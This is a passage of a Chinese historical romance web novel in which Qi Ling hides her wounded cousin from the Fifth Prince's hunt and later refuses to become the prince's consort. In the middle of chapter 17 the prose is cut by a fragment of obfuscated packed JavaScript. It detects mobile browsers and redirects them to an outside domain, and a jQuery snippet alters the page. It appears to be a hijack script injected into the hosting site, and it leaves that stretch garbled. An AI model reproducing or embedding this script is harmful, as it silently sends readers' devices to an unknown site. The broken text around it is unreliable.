“再将田庄的近日账本带上,我在那处看。”祁泠道。 庄子后面是山,群山连绵起伏,翻起层深层浅的绿浪来,索性亭子离得近,处在低矮的山腰上。从小路沿着溪水走,小半个时辰的路便到了。 亭为无名亭,正处山间,旁侧流水潺潺,不知名的树荫蔽日。 祁泠在亭中石椅中歇息,银盘在旁边小溪里摸鱼,一半婆子留着,另一半跟着祁望舒往山上走。 祁泠的账本还没看完,祁望舒已然带着瑞音和婆子归来。 她头上忽而多了一物,些许花香芬芳弥漫,沁入鼻中。她伸手摸去,花叶簇拥,柳条为环。 祁望舒鬓角簪着朵野花,她亦 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祁泠道不会,祁望舒惊讶过后,迟钝的脑子想起来了她生母的事,故而道:“无碍,姐姐今日以乐娱妹妹。” 她坐在旁边,唱着悦耳小调,弹着琵琶。 瑞音到祁泠身边,声音小,语气带着心疼道:“三娘子莫怪,我们娘子其实是爱喜爱闹的人,只是少有能玩的来的姐妹,出去又……无论夫人和老夫人怎么说,她也不喜出去。” 祁泠依稀明白了,外祖家是好,可祁望舒改姓为祁,久住祁家,外面总归有些风言风语。祁观岚不在乎,可祁望舒无法置若罔闻。 此刻心灵相通,不忍祁望舒孤寂,她起身道:“妹妹不通歌乐,今日以舞相伴,可好?” 祁望舒醉倚琵琶,当然应允,祁泠随着她的乐声,动作轻盈,似花随风舞。 祁望舒看得痴痴笑,祁泠面子薄,又牵起祁望舒的手,拉她一起来舞,两侍女也也跟着一同。 欢声笑语,山水间寻一乐。 …… 月明星稀,祁泠醒来时头疼欲裂,嗓子间火辣辣的痛。 从山间归来,晚上她与祁望舒又用了些酒。 祁泠已记不清自己说了什么,只知晓姐妹谈心,讲出去不少事。她捂着头坐起身,重重咳了几声也没能将嗓间难受意压下。 睡在她身旁的银盘翻了个身,把被子抱得更紧,沉沉睡了过去。 迫切渴望清凉的水。 祁泠轻手轻脚地掀开被子,从银盘身上跨过去,在桌边倒了杯茶水,甘甜的泉水滑入喉间,好受了几分,不过头还疼的厉害。 她披上外衣,走到院中吹风,望着一轮残月,月色覆于她身,晚风从身旁吹过,带起一点寝衣的波澜。 舒服多了。 身后忽而响起一点声音,她转头望去,庄子极高的围墙下竟有一黑影,似乎是一人,全身裹在黑袍之中。 她骇了一跳,心跳如雷,浑身的血都凉了,不敢发出一点声音,反应过来,拽起裙角往屋里跑,祁望舒与一众婆子都在。 屋里人多—— 可那人也发现了她,怕她喊叫,几大步追上前来。 一只手握住她胳膊,须臾之间便被拉进怀里。祁泠手脚一同使力,挣脱,可身形差距太大,那人力气大,紧紧靠在她身后,一只手揽住她腰。 浓重的血腥气传来,祁泠害怕得发抖,莫不是什么亡命之徒? 她张口欲喊,被人用掌心捂住。 腥甜的血腥气中混着丝熟悉的冷香。身后之人克制着痛意,呼吸不稳,将声音压的极低:“别喊,是我。” 17. 第十七章 僵硬的身子顷刻间柔软下来,绷成一根弦的神经放松,她的手不再用力抵着男子的胳膊,卸了力气,慢慢垂落。 他如檐上薄雪,居高处,唇色凉又苍白,俊朗的面庞如被风沙吹过,留下几分疲惫,鸦青长睫抬起,内里乌润眼色浓过夜色,引人长久注视,不小心便会沉溺中。 他昨日不是去南陵郡了吗?怎会深夜出现在此处,似乎还受了伤。 回头看清来人,祁泠嘴唇翕动,满腹疑惑挤出一声,“兄长?” 祁清宴松开她,一双眸子看着她,修长的手抵着唇边咳嗽起来,声音因着咳意而发哑低沉,“是我,不要让其余人知道我在。”月光倾洒而下,映出指节上几道血痕。 “你伤到了……”祁泠注意到他的手,重新上前。 她上前捧住他手,祁清宴瞳孔微缩,克制住欲后退的脚步,任由她温凉又柔的指腹,擦过他手背。 明明在擦血,却宛如羽毛划过心间,泛起波澜般的痒意。 “不是这,”祁泠蹙着眉,低头去寻他到底是何处受了伤,胸膛?腰腹?还是胳膊? 祁清宴寡淡离群之人,此刻被她的弄得些许狼狈,两手扶住她胳膊,“我并无大碍,妹妹既醒了,可否带我去寻一匹马,我不能久留,立刻便要离开。” “好,我记得在宅子后面……” 她话音尚未落下,远处马蹄声霹雳如雷声,星星点点火光随之涌来,一齐向庄子逼近,侍卫的威武的声音传透方圆,“捉重犯——” 祁泠震惊望去。 祁清宴凝视着她,眼中的防备尚未升起,手腕便被一只柔夷牵住。她知晓他不愿惊醒宅中众人,故道:“兄长,前方不远有一小亭,可要躲一躲?” 祁清宴干脆应道:“好。” …… 庄后一条小路,蜿蜒进茂密林中。 林中有一石亭,内里凿石为渠,宴饮时用于曲水流觞之所。白日祁望舒兴盛,决意在此多留一日。 无人管教,放纵的滋味太好,说着不喜出来的人也食髓知味,故而问过嬬娘,又寻一地来。 寻常无人往这边来,嬬娘已经带人将明日用到的器具物件摆了过来。 祁泠在前带路,唯一想的便是再快些,最好能避开追兵,不惹事端。 两人方进亭中,侍卫便追了上来—— 树荫下周围夜色浓稠如墨,十几名着腰束革带、革靴的的侍卫肃目而围,手持火把撕裂暗色,渐逼近小石亭,愈发衬得两人势单力薄。 犬吠声忽而响起,飘荡在林中,格外渗人。 一人自后而来,着圆领长袍胡服,头戴笼冠,从阴影中走出,五官平整毫不出奇,二十多岁的年龄,比他容貌更令人瞩目的是周身带着的桀骜气。 见到亭中两人,五皇子楚徇眯了眯眼,一侧嘴角弯起,“本宫遇刺,正追查着不知死活的贼人,没想到在此撞见了两位……有情人?” 祁清宴立于亭中,一袭玄绣的贴身袍子。祁泠见到他时的黑外袍,在两人来此路上,已丢在河渠中。他连礼都未行,只敛眉一句,“五殿下慎言。” 祁泠在祁清宴侧旁一步远处,闻言侧俯身,“五殿下安。” 寝衣外罩披风,万千青丝轻挽,脂粉未施,楚腰卫鬓,恍若盈盈月中美人。 啊……是她。 祁家那个不可言说的女儿。 楚徇的眼神在兄妹两个身上扫了扫,心中生出的疑窦一个接着一个。他追杀的贼人跑到这附近,若是遇见祁清宴一人,少不得要怀疑到他身上。 两人一齐出现,嫌疑少了些,可又解释不清…… 若是私会,同宗即为乱|伦,被人知道祁清宴就完了,料他也不会做这等蠢事。 那深夜在此,周围亦备了席,大半夜宴饮? 疯子才会做。 但他们士族么?为了奢靡玩乐干出什么事来都不奇怪。 楚循转转腕骨,松了松手中绳,有半人高的犬立刻上前,狗眼狰狞,朝祁家兄妹狠歹歹吠了两声,舌头猩红,尖锐的獠牙流淌着唾液。 “祁三郎……” 持着火把的侍卫上前,以手遮掩着唇同楚循说了几句话。火把的光照在楚徇脸上,显出诡异的笑,“哦?原来祁家三郎君出门访友了,那怎么此时此刻出现在这了?” 祁清宴掀起眼帘,迎上楚徇的目光,不慌不忙,“我乃私事,可殿下奉旨剿杀流匪,为何出现在我祁家田庄?这附近都是世家田庄,莫不是殿下对我们生疑?” 楚徇噎住,向前走一步,抬袖欲伸手去指,“你!” 一旁侍卫上前拦他,他压下怒气,平静过后道:“祁三郎不必与我绕,我说不过你,你只需答为何在此,至于旁事……”他拱拳指天,“我自会一一禀明父皇。” 楚徇转而对着两人,沉沉笑起,“若说不出个所以然,只能将三郎当做贼子带走了。” 层层叠叠的叶遮挡了月色,火把的光亮带来的不是温暖,反而令祁泠心跳得又沉又快,侍卫个个身佩长剑,手搭在上面,只待一个冲突,便会上前示威。 她未见过如此场面,难免胆战心惊,祁清宴深夜出现在此确实可疑,可她想的却是,幸好他黑色的衣料遮盖了血迹,否则场面更难应对,速速打发了这些人才好。 “因为我。”女娘声音清晰,恍若泠泠水声而过,驱了些许紧张的气氛。 祁泠清澈的眸抬起,一字一句道:“我与姐姐来此散心,但我胆小,纵有奴仆相伴,可还是不敢居于此处,故传信儿央兄长回来护我和长姐。” 她说话时克制住了说谎的颤音儿,听着颇为真诚。女儿家的娇嗔痴缠最是无理,能解释得了一切不合理之处。 可……祁清宴眉眼低垂,目光落在她攥紧披风边缘的手上,周围一圈褶皱。他已知晓,当她紧张或疼时必会找些东西去攥在手心,如今再加上一个心虚。 他未出言,站在一旁宛若雕像,静静看着发生的一切。 “祁家人……”楚徇齿缝之中挤出是三个字,从嗓间发出一声嗬,“可本宫爱犬除了贼人,追着的便是什么烂的臭的,肉骨头。” 祁泠气他这么阴阳怪气,想起那位跋扈的五皇子妃,顿时有种不是一家人不进一家门的感觉。她不喜这对夫妻,可祁清宴受伤是事实,即使他口中的“贼人”真是祁清宴,她也不会认为是祁清宴做错了。 内心知道这狗怕是追着血腥味过来的,可又无法反驳,她颇为无助,没经历过大事的小姑娘不知该再编出什么来。 幸而,祁清宴已经看出了她的无措,他开口,淡淡道:“或许因我受了伤,这畜生对血腥气敏感,循味而来,也不足为奇了。” 这时的祁泠,又觉出阴阳怪气的好处了。祁清宴说话,似是在解释,又将对方也骂了进去。 楚徇哼一声,“那就对上了不是,那贼人逃走时,被我身旁的神弩手射中了。” 祁泠紧张到嗓子眼发干,无意识靠近祁情宴,一只手攥着自己衣裳,抬头望着他的目光盛着几分忐忑,又不敢让对面的楚徇发现。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651251|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >身后的视线太过明显,殷殷切切,让人忽视不得又有些无奈。祁清宴往后握住她的手腕,察觉身后之人没那么绷着,才松了手,道:“原是打算去南陵郡,不想路遇一众流匪,受了伤。再次遇到五殿下,倒想问上一句,殿下昨日呈上去的剿匪已大成,是真是假?” 他扯开衣袖,只见左臂侧内一道长长血痕,血氤氲了内衣,伤口翻开,明显是剑或者刀,绝不是对方口中说的努。 楚徇疑惑消了大半,即使有几分怀疑,对面士族的身份也让他无法搜查,况且那般大的伤口,对不上,亲眼见到错不了。 侍卫又道:“殿下,那贼人伤得地方应是小腿。” 楚徇下望,祁清宴站的如常。 他牵着手中犬,笑着上前,“看来是本宫唐突了,三郎可不要怪罪。今日是这番,做妹妹的害怕将哥哥唤了回来,因为本宫的一点倏忽,倒让三郎路上受了伤,实在是兄妹情深。” 他走到近处,锐利的视线盯紧了祁泠,冷笑道:“可啊,祁家妹妹,你认其当哥哥,人家……嫌不嫌你脏呢?” 尖锐又恶意的话钻进耳朵里,无处可躲,楚徇微松了手,恶犬突然扑上来,尖锐的獠牙离她不过几尺,被其后的绳子扯住,未能扑到她身上。 祁泠面色一瞬煞白,身子发软,撑不住自己,被祁清宴一把揽住,才未摔倒在地上。 楚徇大笑而去,火光随之渐离。 刺眼又惹人心悸的光消失,祁泠恍惚过后,抬头便是祁清宴的面容,祁清宴扶她站起来,而她眼中盈泪,一眨眼一掉,整个人呆呆的。 “被吓到了?”他轻声问。 她噙泪点头。他说:“方才胆子不还很大,这么弱,以后可怎么办呢?” 祁清宴抬手,用手掌拖着她面庞,他的手宽又大,几乎能笼住她大半张脸,指腹轻轻划过,带走她眼下的泪。 一如她方才为他擦去血痕。 祁清宴眉梢眼尾含柔,温和又亲昵,一点也没将来人的话听进心中,只当是犬吠,理都未理。 祁泠小声抽噎两下,也不再理会楚徇所言。她从袖中抽出帕子来,将绣着几朵小花的帕子系在一起,打了个死结。她垂头上前,将帕子缠绕在他胳膊侧,再次打了个结,声音隐有哽咽意,“先止住血。” “妹妹的帕子倒是好看。” “等我回去送去琅玕院些。”她垂着头,不抬头看他。 祁清宴沉默看着她的发顶。乖顺不想生事之人也会主动出言,她什么都不知道,却出言为他辩解。 对面是皇子,她得罪了皇子。 “走吧,夜深了。”他拉住祁泠手腕,手心热度相递,祁泠并未反抗,由他牵着,确实被那条恶犬吓到,楚徇恶毒的话也让她心悸。 两人来时急匆匆,回去便安静多了。 祁清宴同她说着话,“天亮之后,二哥来接,你与望舒一起回府去。外面近来不太平,若喜欢,日后再来。” “那兄长呢?” 话语间已至庄子前,得信的沉弦牵着一匹漆黑的骏马候在前面。 祁清宴抬手,揉了揉祁泠的头,满掌青丝顺滑,上好的丝绸也比不过。拢在掌心又该是什么感觉? 他道:“我有事,即刻便走,你好好睡一觉,回府再相见。” 祁泠点点头,拢了拢披风,目睹着他翻身上马,月色落满身,渐融夜色而去。 夏夜微凉,沉弦搓了搓手,驱散寒意,他上前,出声提醒着:“三娘子,再过一个时辰天该亮了,回去吧。” 18、第十八章 “娘子,该醒了。” 脑中晕晕沉沉,昨日记忆的片段在脑海中不断浮现,让人分不清昏睡或是清醒。祁泠睡得不好,被银盘扶着坐起来时还有几分迷糊,昨日是梦? “诶,娘子,”银盘凑近她脸上去看,“娘子怎么眼下青青的,昨晚没睡好呀?” 祁泠抚着眼下,也摸不出来,余光瞥见袖口沾染一点血迹,只教人知晓昨日不是梦罢了。 “都说酒水害人,看来真是如此。娘子多喝了酒就睡不好,以后恐怕要少吃些酒才好,变丑可就糟了,”小丫头说着打了个嗝,想起自己昨天也醉的不省人事,顿时心惊胆战,“奴婢昨晚也吃了,可再也不会用了,听娘亲说,吃多了酒,脸上会起一块又一块的红疙瘩,变成红脸怪……” “好了,别担心这个。”祁泠抬手点了点银盘鼻尖,笑起来:“你看望舒姐姐,哪里有你说的这般可怕?因人而异罢了,别太担心,你若真忧心,不如去熬些醒酒的汤来,昨日吃酒的人多,主子丫鬟仆妇四处送一些。” 银盘深觉有道理,忙不迭去寻嬬娘。 …… 黎明将过,热腾腾的饭菜用陶瓷瓦罐摆在桌上。主食是野菜稀粥,将粟米饭熬久些,磨和掉粗粝的口感。菜有两道,一是油水极少的清炒瓠瓜丝,另一道是煮豆汤,用有咸味的豆酱去煮,是这顿饭中最有味道的一道菜。 祁既白难以下咽。 他昨晚启程,从建业赶来接两位妹妹,临行前在庄子用口饭吃,本以为能尝些山珍野味,没想到是如此粗茶淡饭。 他望向对面两个动了不少次碗筷,但只用了小半碗的一双姐妹,颇有些疑惑,“两位妹妹,这两日吃得都是这么……?” 祁泠答是,念叨了下昨日和前日用的膳食,虽也是粗粮,但比今日能强些。祁望舒喝了醒酒汤,也吃不下去了。 三位年少的主子如此,怕是嫌招待不周,嬬娘嘴笨,在旁候着的吴典计忙笑着脸上前,“郎君,两位娘子,奴也想捉些野味和山中奇货一齐炖着,尝个鲜味。可府上老祖宗定下的规矩,几十年了,只要是主子到庄子、田宅上来,只能用普通人家用的饭菜。老祖宗说过,这是……”他说到这卡住,想不起来了。 祁泠好奇问:“返璞归真,引人发思?” 吴典计满面笑容,“正是前一个了。” 祁望舒闻言又舀了一勺野粥,咕噜一下咽下去,嗓子还是卡的慌,“你们平日里吃这些?” 她们前几日少吃两次倒是新鲜,连着吃粗粮到底有几分受不了。 “是嘞,瞧着娘子吃不惯,其实平日里我们吃的粥没这个煮的时间长,还要更噎嗓子些。”吴典计道。 听完,祁既白忍着,大口吃完碗中所有饭。他咽下最后一口后,如释重负道:“祖母意在让我们济苦怜贫,躬俭节用,听说三弟在慕容家时曾吃了几年这样的饭菜,只偶尔几顿,我们也吃的。” “哥哥,那你吃吧,我与泠妹妹饱了,先回马车上。”祁望舒握住祁泠胳膊,拉她起身走了。 吴典计陪在屋内,与祁既白商议着回去的车马。嬬娘视线游离不定,目睹祁泠渐远的裙角,她抿唇,到底几步追上来,跪在地上,“三娘子,妾、妾……” 祁望舒拍了拍祁泠,先行回马车上去。祁泠走近嬬娘,嬬娘只是一位朴素的,略微发福的妇人,她俯身温声问,“怎么了?” 嬬娘垂着头,抖如筛糠,额间冒出细汗,紧张到说话磕绊,“妾观夫婿近日忧愁,寝食不安,知道他的心病,怕娘子和郎君疑他不忠,不再用他。” 原是账本的事,祁泠道:“可他做了假账,是事实。” “因为妾……”嬬娘眼眶红,低声道:“妾三年前生了重病,高热不退,一口也吃不下去,周围郎中都说救不了了,那年收成好,他挪了账上的存银,租牛车,拉妾去建业治病……” 她泣不成声,袖子捂着脸,哭声难压,“妾知道其中利害,周围庄子的人这么做,一旦被发现,主子发卖打死都是有的。妾央他不必,他往日早出晚归,一心扑在庄子上,从未做错一件事,妾一农妇,无才无貌,死了他大可再娶新妇。可他说……我们俩有一双儿女,后母不会亲待,妾自私,为了孩子也想活着……前些日子,府上严查,独落下了他……恳请娘子,若惩戒此事由我担,不要罚他。” 嬬娘抓住祁泠裙角,眼中不是期盼而是决然。她的夫婿为她犯险,她也只想护对方安康。 祁泠将她扶起来,“虽有情可原,但私昧银钱不对。这回便算了,嬬娘,回去你与典计说,这庄子以后仍是他管,疑人不用,用人不疑,若他不犯错,你们一家永远可以住在这儿。只一点,下次再遇到为难事可去府中报信。” 嬬娘再三谢过,祁泠安慰她几句,祁既白出门来,她上了马车,一行人准备妥当,启程回府。 回去的路途远,祁泠与祁望舒又刚在一处玩闹几日,既有新鲜事可说,关系也比从前近了不少。 祁望舒记性好,一件件同她说着。祁泠才发觉,她将回到建业后,每件事都同祁望舒讲了。 “你这婚退的倒一波三折。卢家呀,如今好像攀附着五皇子府,势头大起来,既有了庶子女,退婚也好。我不知道三哥哥是怎么想的,能退了婚便极好的,只有一点我觉得不大好。” “昨个儿脑子晕,想不起来,今早细细琢磨才想了起来。”祁望舒脑后垫着个软枕,阖目养神,拿着团扇轻轻晃,下头的流苏也跟着摆。 “怎么说呢?” 祁泠掀起马车帘子,沿路的风吹进。她初到建业,两眼一抹黑,打听不出来太多的事,只靠着祁清宴告诉,如今多了个祁望舒与她说,她自然乐意听。 祁望舒睁眼,板着脸道:“地点不好。在瑞安王府作甚?瑞安王妃和咱们祖母关系不好,若说咱们祖母最恨谁,这世上瑞安王妃恐怕要排前几个了。”她又手快,扇了扇风,面上也露出几分厌恶来。 “为什么?”祁泠回过头,发出一声短促的疑惑惊呼,那日王妃寿宴,老夫人与瑞安王妃相逢落泪的亲近样子…… “那你不知道,二叔母不管这些,恐怕也不晓得,我还是听母亲讲的,”祁望舒道:“几十年前,还是闺阁之中的娘子时,祖母与她是好的,她是庶女,还要捧着祖母郡主,得些帮扶在家中过好日子。祖父少年儒将,从胡人手中收复北关,建业之中的女儿谁不想嫁,最后成了祖母夫君。当时她呢,被家族送人,嫁了如今的瑞安王。各嫁了人也就生分了。” “前朝覆灭,她家族是率先反叛的,出了不少力,祖父死在她家兄长手中。” 这说是血海深仇都不为过。 祁泠呼吸一滞,心扑通扑通狂跳起来,当日所见竟是假的?思绪一闪而过,她没抓住,与祁望舒道:“当日姐姐与姑母去看郡王妃……” “郡王妃倒是个可怜人,”祁望舒惋惜道:“才貌双全,容色过人的娘子,偏配了个痴傻的,真是糟蹋了。被家中强送进王府中,终日郁郁寡欢,病重恐怕熬不过几年了,母亲格外可怜她,总去劝她。” “原是如此……”祁泠喃喃道。 一切变得清晰起来。怪不得祁清宴提起瑞安王府总是语气轻蔑,两家竟有这般渊源。她思绪空又乱,当日小世子落水的场景忽而又涌现在心头。 当真是意外么? 她攥着胸前衣襟,紧紧咬着唇。上上辈之间的恩怨,老夫人的虚与委蛇,祁清宴的语气,她识事少,又不是傻瓜,已然察觉出几分异样。 祁泠忙喝了几口泛冷的茶水,迫着自己不要多想,已经过去的事,打听个明白又有何用? 她不想打破此刻的安稳。 不要再想了。 车窗外,层层青绿的山间草色已然过去,入目是古朴的连绵不断的城垛子,围起整座都城。 又回到了建业。不要再想了。 …… 与呆在庄子的日子相比,府里格外无趣。 祁泠每日早起去冯夫人房中问安,陪着冯夫人料理起二房时,隔三差五领着祁云漪去老夫人那请安。 辛夷阁内,祁云漪描着大字,心里长草坐不住,想去三房找阿濯玩,与阿濯差了四岁,但阿濯正是听人使唤的年龄,极大满足了祁云漪想当姐姐的心。 而祁泠坐在窗下,绣着一方帕子,桌上的楠木匣子敞着,内里整整齐齐叠着四方帕子,上面依次绣了梅兰竹菊。 她想着琅玕院的竹林,又绣了一方帕子,前四个中规中矩,只有这条,她在竹叶旁加了只胖乎乎的雀鸟,她在琅玕院听到过它的叫声。 “三娘子,三娘子在屋里么?”听荷的声音带着点焦急,从窗外传进来。 祁泠收好最后一针黄鹂的鸟喙,出去迎了听荷,“听荷姐姐,怎么了?” 听荷急急道:“瑞安王府来信了,府内有喜事,正办着小宴,瑞安王妃想到娘子,特遣人来邀娘子过去一趟。” “只我一个?”祁泠问道。 听荷答是,顿了一下,又答:“老夫人让奴婢跟着娘子去。” 祁泠心中重重一跳,隐隐有不好的预感,她道:“劳烦姐姐等我片刻,我去换身衣裳。” “娘子……快些吧。”听荷欲言又止。 祁泠心不在焉地由着银盘换了身出门的衣服,吩咐她:“将帕子送去琅玕院吧,绣了多日了。” 走得极急,祁泠与听荷道:“到底如何了,烦请姐姐与我说个大概,”听荷神色有些躲闪,望了望她,颇为难的模样。 祁泠便道:“我只当姐姐是猜的,错了也无妨,总归让我心头有数罢了。” 听荷叹了口气,才道:“五皇子府送来份礼物,打着五皇子妃的名头,又说是给娘子的……” 祁泠牙根发颤,“给我做什么?” “那边没明说。又因着没明说,礼简单,一只玉如意,皇子府的下人只说是上回皇子妃遇见娘子,合眼缘让送过来,不好退回。娘子到了王府,千万要小心些……” 祁泠道:“我知晓了。”表面镇定,心中却是慌起来,不停思索着会是什么情况。 车外马匹嘶鸣,车夫勒缰绳后停下,“娘子,有位郎君拦路。” 卢肇月行色匆匆,翻身下马,几步走到漆黑的车厢旁侧,这是祁家的马车,他亦知晓内里的人是祁泠,他道:“阿泠妹妹,我来与你报信。” 同是当街拦车,早已物是人非,他比从前褪去少年气,眼神更深邃坚定,不再惹人闲话,压低声音,谨慎道:“我方从瑞安王妃归来,阿泠妹妹可愿听我言说几句?” 马车在一处偏僻的巷子前靠着,车夫和听荷候在远处。 祁泠掀开车厢侧旁的帘子,到底对面是已娶亲的人,两人之前还曾有过婚约,故而更要避嫌。 她垂眸,问:“生了何事?” 卢肇月望她良久,一眼不眨,道:“……五皇子要纳你为侧妃,去瑞安王府求了王妃做媒。” 这话如若晴日惊雷,炸的她面色灰败,全身发麻,半截木头似的愣愣地杵在那儿。 她的神色,卢肇月看得分明,他早便知道她定然是不肯的。他道:“这不好,阿泠,五皇子同士族间素有仇怨。虽是侧妃之位,可五皇子求娶之事,未安好心!” 这点卢肇月不说,祁泠也知晓。 她的手发抖,两只手相叠,紧紧握在一起,亦是控制不住的颤栗与心悸,茫然失措。 卢肇月道:“还有一事,我见你与祁家三郎交好,原以为他是你堂兄,交好也应当,但阿泠,他亦非良善之辈!” “你可还记得王府寿宴那日……”他说着面有愤色,“表妹近日才肯同我说,你可知当日她是听到了什么才要与我言说?” “不仅于此,今日的事也同祁三郎脱不了干系!你以为他真心待你如亲妹,阿泠,你被骗了!” 19、第十九章 卢肇月声音还似回荡在耳旁,祁泠跟着王府引路的仆妇走,整个人仿若浸在酸涩里,痛也痛不起来,委屈又谈不上,只是迷茫没有实感。 听荷手搭在她胳膊上,带着忧唤了声三娘子,祁泠才意识到她走神了许久。 听荷问她有没有事,祁泠想说没事,能有什么事呢?却喉间一哽,一个字也说不出来了,随着仆妇慢吞吞进了王府后殿,王妃平日接待来客的小堂里。 与上次来时不同,上回是祝寿时的大殿,这次则是王妃平日所居的内殿。 一面极大雕刻的玉质云屏伫立在前,绕过屏风,内殿处处以椒涂壁,金砖为地,镶嵌金丝璎珞的帐纱铺满象牙床,侧旁两座美人榻,宫服锦绣,簪环映彩。 五皇子妃一如当日那般高傲,微抬下巴,狭长的眸,眯起的眼神似针,将来人细细瞧过一遍,随后掩唇娇笑道:“叔母瞧,你念着的小娘子来了,我见过她一面,有点印象。这不殿下一提及,我便应下了呢。” “好了,知你不妒,善解人意素有淑行。”瑞安王妃依旧笑容满脸,对五皇子妃说了两句夸赞的话。 只祁泠听过了祁望舒说的两家渊源,再看那笑也是心里堵着,再觉不出和善来了。 风水轮流转是常理,但若是背后有人推了一把得到的苦果,谁能咽的甘愿? 更何况,取胜之人摆出一副亲近嘴脸,权势高又奈她不何。当日提起已逝的祖父,祖母该有多难过?可到底人家是为皇帝办事,老人家只能咬碎了牙咽下肚,应付过去。 祁泠自问做不到,她执拗又爱憎分明,被瑞安王妃拉去近处时,手还有些僵硬。 瑞安王妃不知看没看出来,只亲昵依旧,褶皱的手在她手背上抚了抚,道:“好孩子,谁能到想呢,我们到底还是有做亲戚的缘分。”她点了点旁侧皮笑肉不笑的五皇子妃,“以后与她住在一起,离得也近,一盏茶的功夫就到了,长长久久的呆在我身边才好。” 殿内摆着的明珠光晕柔亮,祁泠低着头,长而卷翘的睫毛垂下,在眼下映出一道剪影,亦令人看不清她的眼中神色。 只见女娘眉若春水,肩若削成腰若约素,秾纤有度,玉肌凝脂皎若人间点酥娘。 瑞安王妃和五皇子妃皆含糊其辞,未没将话彻底挑明,却又等着她的反应。 祁泠抬起头,眸若清泉,呈出一片坦坦荡荡来,毫无羞怯意,问道:“娘娘所言何意,阿泠愚钝,听不明白。” “这……” 五皇子妃亦故作吃惊,望向瑞安王妃,面上单纯不解,内心暗暗冷笑,夸她不妒? 真是可笑,后院那么多嫔妾,她妒的过来吗?普通人家尚且注重子嗣,三皇子的大儿子都快满地跑了,五皇子只有她生的两个嫡女,后院的零星冒出来的丫头片子。她家世不显,敢拦着他纳妾么? 这祁泠也有意思,摆明了不愿意。话都说到这份上,还装傻。 五皇子要纳,她便来了。他既恐她坏事,假模假样地光说不做,又托了这个能忍的老婆子说亲,那她作壁上观好了。 一时,五皇子妃颇有几分爽快,静等瑞安王妃说话。 瑞安王妃嗳一声,道:“好孩子,我与你仔细分说,内里缘故是这般,她是个不好生养的,皇家子嗣为重,府里如今那些……”她蹙蹙眉,“出身太过低贱,肚子也不争气,莫看徇儿妾室多,他其是个疼人的,那些为了子嗣才接进府里去。” “可你不同……” 她握着祁泠的手,紧了紧,温声细语,如若长辈般亲切道:“徇儿亲自与我言说,许你侧妃之位,纂刻玉牒之上,名正言顺,是皇家的正经媳妇。” “咱们先前结了缘,我认你为义女,送你进皇子府。待你开枝散叶,他们连带着我,都亏待不了你。” 五皇子妃掐着袖中手,面上是笑的,掌心都要沁出血珠来了,正经媳妇?那她是什么。 妾便是妾,伺候的是夫妻两个,任这老婆子说的天花乱坠,想抬人生儿子同她抢位置,等真到了府上,还不是任她捏扁挫团。 只是祁泠到底是祁家出来的,又要被认成劳什子义女,比其他人能耐了些。 被五皇子妃阴冷冷看着的祁泠,一直沉默,任瑞安王妃说的再好,她也没有丝毫动摇。 当初与卢家的婚事板上钉钉,婚期将至,她都想要退婚,是眼里是容不得一点沙子的人。此刻任五皇子妃笑着,祁泠也知她是根本不愿的,不论孟氏有多恶毒,谁人也不愿与旁人分享夫君。 祁泠退后一步,跪在地上。 如今瑞安王妃只等她一句应允的话,她不愿,就要明确相拒,不能留下一点余地。 此刻她只能赌一把,靠自己。也不对,是靠身后的祁家。普通人家的女儿可以强娶,祁家却是不能。 “承蒙娘娘错爱,不敢挟恩以报,娘娘若收我为义女,阿泠感恩戴德。只是阿泠蒲柳之姿,长于江州偏僻地,性情偏执,不敢高攀殿下。” 未嫁女娘散下的发垂落肩后,虽然跪着,但脊背挺直,莹润的脖子也未弯,只是略微垂头,仍孤清傲直。 言辞和姿态让人想起,她是祁家养出来的娘子,从未少过吃穿用度,只是养在深闺,少见人而已。 往日祁泠恭顺纤柔,在外人面前乖巧温婉,像是极听话胆怯的。被叫到王府上这么一问,她纵有三两分不愿,也会因王妃问话带来的威严而害怕,说不出拒绝的话。 瑞安王妃笑容僵硬了几分,道:“孩子,你可是怕皇家规矩多?你还小,不知世故,也不明白,只要你循规蹈矩,不出错,来日定是少不了的锦衣富贵。嫁去小门小户规矩更多,还不如自己清清静静独处一院。” 祁泠仍语气坚决:“娘娘,我才疏德浅,自小体弱多病,落水着寒卧床修养将好,恐难担子嗣之任。亦无心荣华,来日只想嫁一寒门为正妻。” 五皇子妃自然乐意少了个敌人,在侧出声,“叔母,人家说了不愿,可不能传出咱们强抢的名声。” 瑞安王妃抿抿唇,神情肃穆起来。 祁泠话语间提及上次救了落水小世子的事,又言她不挟恩以报。可他们若是迫她,以怨报德,会传出怎样的名声? 更何况,祁家态度不明,祁泠依旧是士族女娘,而非可以随意强娶之人。 …… 听荷候在内殿前,听全了事情经过,欲伸手扶住出来面无血色的祁泠。祁泠只由着她扶了几步,便抽出手来,独自走着。 她今日拒婚,算是将瑞安王府连带着五皇子府得罪个彻底,来日一片茫然。 内殿的宫女被瑞安王妃吩咐着,快步出去报信。 给祁泠引路的仆妇极看主子脸色,来时热络亲切,回去时一言不发,疏离至极。 祁泠随着仆妇,后面跟着听荷,她每步走得轻飘飘,落不到实处去,内心空荡荡,她应该快些,快些离开这处是非之地,可能回到那里去? 祁家么? 她借着祁家势,摆掉了这桩婚事。可不会再自以为是。祁家除了冯夫人,还有谁会将她看作自己人? 如果她真是祁氏女,祁氏视若亲生的女儿,此时此刻也不会孤零零在这处了。 寿宴日王府笑声宴宴,花团锦簇,今日却静悄悄的。来往下人垂目轻步而去,极尽奢靡之地,静得泛着几丝死气,花墙依旧开得灿然,不过换了一批花而已。 祁泠无意望去,一位夫人牵着孩童走在池边小路上,夫人穿着白色宫服,发间无饰宛如缟素,牵着的孩童衣着富贵,后面浩浩荡荡跟了些丫鬟婆子。 似乎是那位可怜的郡王妃。 忽而,身后脚步声沉重,腰间玉组佩发出碰撞的响,快步赶上,斥一声,“站住。” 祁泠心里一紧,垂下眼帘,转身过去,侧身请了皇子安。 楚徇迟迟没有让她起身的意思,走到近处,围着她细细打量了一圈,“本宫原以为你是个聪明的,可没想到……你这么回去,不会受家中责罚? 